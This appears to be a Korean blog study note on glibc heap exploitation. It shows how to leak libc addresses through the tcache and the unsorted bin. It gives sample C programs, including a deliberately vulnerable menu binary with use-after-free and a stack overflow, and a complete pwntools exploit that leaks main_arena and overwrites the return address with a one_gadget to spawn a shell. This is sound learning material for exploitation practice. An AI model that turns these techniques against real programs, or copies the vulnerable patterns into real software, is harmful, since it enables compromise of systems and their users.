tcache에서 라이브러리 영역 주소 릭하는 방법
1. 7개의 tcache_entry 모두 채워서 tcache를 사용하지 않도록 한 후 unsorted bin을 만든다.
2. tcache에서 허용하지 않는 크기 할당 후 해제해 unsorted bin을 만든다.
-tcache에 들어가는 청크 크기: 0x10 ~ 0x408
-0x420 이상 할당 후 해제 시 unosorted bin에 들어간다.
3. _IO_FILE_Arbitrary Read + tcache dup 사용한다.
1, 2 방법은 기존의 2.23에서 unsorted bin을 다루는 과정과 동일하다.
(2.26 이상 버전에서는 청크 크기만 0x420 이상 할당/해제해주면 된다.)
방법2: tcache에서 허용하지 않는 크기 할당 후 해제해 unsorted bin을 만들고 라이브러리 릭을 한다.
malloc_chunk 헤더 최소 크기는 16바이트이므로, tcache는 최대 0x408 크기까지 허용한다.
더 큰 크기의 힙은 해제 시 tcache를 사용하지 않고 unsorted bin에 삽입해서 main_arena 영역의 주소를 FD와 BK에 쓸 수 있다.
main_arena난 libc.so.6 라이브러리에 존재하는 구조체이므로 해당 주소를 릭 하면 라이브러리 함수 주소를 구할 수 있다.
unsorted bin에 들어간 힙 청크의 크기와 같거나 작은 크기의 힙 할당하면 같은 영역을 재사용하게 되고,
힙 데이터를 출력할 수 있으면 main_arena 주소를 구할 수 있다.
예제1
//gcc -o leak1 leak1.c
#include<stdio.h>
#include<stdlib.h>
int main(){
char *ptr = malloc(0x420);
char *ptr2 = malloc(0x420);
free(ptr);
//ptr = malloc(0x420);
ptr = malloc(0x200);
printf("0x%lx\n", *(long long*)ptr);
return 0;
}
첫 번째 힙 청크 해제 후: 첫 번째 힙 청크가 unsorted bin에 들어간 것을 확인할 수 있고, FD와 BK에 main_arena+96이 저장된 것을 확인할 수 있다.
unsorted bin에 들어간 힙 청크 크기보다 작은 크기(0x200)로 할당한 후 힙 상태이다.
해제되었던 청크에서 할당된 것을 확인할 수 있다.
malloc 함수는 힙 할당 시 데이터 영역을 초기화하지 않아서 데이터를 재사용할 수 있다.
calloc 함수는 할당과 동시에 초기화를 해서 이 방법으로는 주소를 알아낼 수 없다.
예제2
//gcc -o leak2 leak2.c -fno-stack-protector
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){
char buf[0x100];
char *ptr[10];
int ch, idx;
int i=0;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while(1){
printf("> ");
scanf("%d", &ch);
switch(ch){
case 1:
if(i > 10){
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(0x420);
printf("Data: ");
read(0, ptr[i], 0x420);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
printf("idx: ");
scanf("%d", &idx);
if(i > 10){
printf("Do not overflow\n");
exit(0);
}
printf("data: ");
read(0, ptr[idx], 0x420);
break;
case 4:
printf("idx: ");
scanf("%d", &idx);
if(i > 10){
printf("Do not overflow\n");
exit(0);
}
printf("idx: %d\n", idx);
printf("data: %s\n", ptr[idx]);
break;
case 5:
read(0, buf, 300);
return 0;
default:
break;
}
}
return 0;
}
우분투 18버전 컴파일: gcc -fno-stack-protector -o leak2 leak2.c -no-pie
익스 시나리오
(1) 0x420 크기 청크 2개 할당
- 하나만 할당하면 topchunk와 병합되므로 2개 할당한다.
(2) 청크 해제 -> unsorted bin에 들어간다.
- FD와 BK에 main_arena 영역 주소가 적힌다.
첫 번째 청크 해제 후 확인해보면 unsortedbin에 들어갔고, 해제한 청크의 FD와 BK에 main_arena+96이 적혀있다.
(3) 4번 메뉴에서 데이터 출력한다 -> libc leak || 힙 할당 후 4번 메뉴에서 데이터 출력
- 재할당 시 첫 번째 청크 영역에서 힙 할당해주지만, 데이터도 같이 입력받아서 그냥 4번에서 해제한 영역의 데이터를 출력해서 libc leak을 진행했다.
- one gadget 주소 구한다.
- offset: 0x3ebca0
(4) 5번 메뉴에서 스택 오버플로우가 발생하는 것을 이용해서 return address에 one gadget 적는다.
- return 0하면서 리턴 시 쉘 획득할 수 있다.
payload = 'A"*(0x110+0x8) + p64(one_gadget)
익스 코드
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./leak2")
elf = ELF("./leak2")
def malloc(data):
p.sendlineafter("> ", '1')
p.sendafter("Data: ", data)
def free(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("idx: ", str(idx))
def edit(idx, data):
p.sendlineafter("> ", '3')
p.sendlineafter("idx: ", str(idx))
p.sendafter("data: ", data)
def print_data(idx):
p.sendlineafter("> ", '4')
p.sendlineafter("idx: ", str(idx))
def overflow(data):
p.sendlineafter("> ", '5')
p.send(data)
malloc('A'*0x10) #0
malloc('B'*0x10) #1
free(0)
#malloc("") #2
#print_data(2)
print_data(0)
p.recvuntil("data: ")
leak = u64(p.recv(6) + '\x00\x00')
log.info("main_arena+96: "+hex(leak))
libcBase = leak - 0x3ebca0
one_gadget = libcBase + 0x10a38c
gdb.attach(p)
overflow('A'*(0x110+0x8)+p64(one_gadget))
p.interactive()
방법 1: tcache_entry에 7개의 힙 청크 모두 채우고 해제되는 힙 청크는 unsorted bin에 들어가게 한다.
//gcc -o full_entry full_entry.c -no-pie
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
int main(){
uint64_t *ptr[10];
int i;
for(i=0;i<9;i++){
ptr[i] = malloc(0x100);
}
for(i=0;i<7;i++){ //tcache_entry
free(ptr[i]);
}
free(ptr[7]); //unsorted bin
printf("fd: %lp\n", *ptr[7]);
return 0;
}
- 7번째 힙 청크까지는 해제 시 tcache_entry에 등록되지만, 이후 해제되는 힙 청크는 unsorted bin에 들어간다.
- unsorted bin에 들어간 힙 청크의 FD와 BK에는 main_arena 영역의 주소가 적힌다.
- 8번째 힙 해제 시 topchunk와 인접해 병합되지 않도록 9개 할당한 것,
방법3: _IO_FILE_Arbitrary Read + tcache dup 사용한다.
ptmalloc2 allocator in GLIBC 2.29 (0) | 2024.03.02 |
---|---|
_IO_FILE (0) | 2021.01.01 |
House of Force (0) | 2020.06.12 |
Unsafe Unlink (0) | 2020.06.12 |
Poison NULL Byte (0) | 2020.06.12 |